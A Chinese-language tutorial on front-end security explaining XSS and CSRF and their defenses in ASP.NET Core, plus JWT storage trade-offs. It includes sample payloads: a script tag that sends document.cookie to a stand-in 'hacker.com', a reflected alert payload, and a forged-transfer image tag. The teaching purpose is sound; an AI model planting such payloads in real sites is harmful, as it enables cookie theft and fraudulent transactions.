前端安全:XSS、CSRF 原理與防禦
XSS(Cross-Site Scripting)跨站腳本攻擊
原理
攻擊者在你的網站注入惡意 JavaScript
→ 偷使用者的 Cookie / Token
→ 假冒使用者操作
→ 導向釣魚網站
三種 XSS
1. Stored XSS(儲存型)— 最危險
攻擊者在留言板寫:<script>fetch('hacker.com?cookie='+document.cookie)</script>
→ 存入資料庫
→ 其他使用者瀏覽留言板 → 惡意腳本執行 → Cookie 被偷
2. Reflected XSS(反射型)
攻擊者製作連結:example.com/search?q=<script>alert('XSS')</script>
→ 伺服器把 q 參數直接放入 HTML 回傳
→ 使用者點連結 → 腳本執行
3. DOM-based XSS
攻擊者利用前端 JS 的漏洞
→ document.innerHTML = userInput; ← 直接插入使用者輸入
防禦
// 後端:Razor 預設會 HTML 編碼
@Model.UserInput // 自動轉義 < > & 等字元 ✅
// 前端:用 textContent 而不是 innerHTML
element.textContent = userInput; // ✅ 安全
element.innerHTML = userInput; // ❌ 危險!
// CSP Header(Content Security Policy)
Content-Security-Policy: default-src 'self'; script-src 'self'
// 只允許載入自己網域的腳本
CSRF(Cross-Site Request Forgery)跨站請求偽造
原理
1. 使用者登入了 bank.com(Cookie 存著登入狀態)
2. 使用者瀏覽惡意網站 evil.com
3. evil.com 的頁面包含:
<img src="https://bank.com/transfer?to=hacker&amount=10000">
4. 瀏覽器自動帶上 bank.com 的 Cookie 發送請求
5. 銀行以為是使用者本人操作 → 轉帳成功!
防禦
// ASP.NET Core:Anti-Forgery Token
<form method="post">
@Html.AntiForgeryToken() // 產生隱藏的 token
<button type="submit">送出</button>
</form>
[ValidateAntiForgeryToken] // 驗證 token
public IActionResult Submit() { }
// SameSite Cookie(現代瀏覽器預設)
Set-Cookie: session=xxx; SameSite=Lax
// Lax:跨站 GET 可以帶 Cookie,POST 不行
// Strict:跨站完全不帶 Cookie
JWT 存在哪裡最安全?
localStorage:
❌ XSS 可以直接讀取
sessionStorage:
❌ XSS 也可以讀取(但關閉分頁就消失)
HttpOnly Cookie:
✅ JavaScript 讀不到(防 XSS)
✅ 但要防 CSRF(用 SameSite + Anti-Forgery Token)
Memory(JS 變數):
✅ 最安全,但重新整理就消失
→ 搭配 Refresh Token(存在 HttpOnly Cookie)使用
沒有 100% 安全的方案,只有「足夠安全」的方案。多層防禦(Defense in Depth)是正確的思維。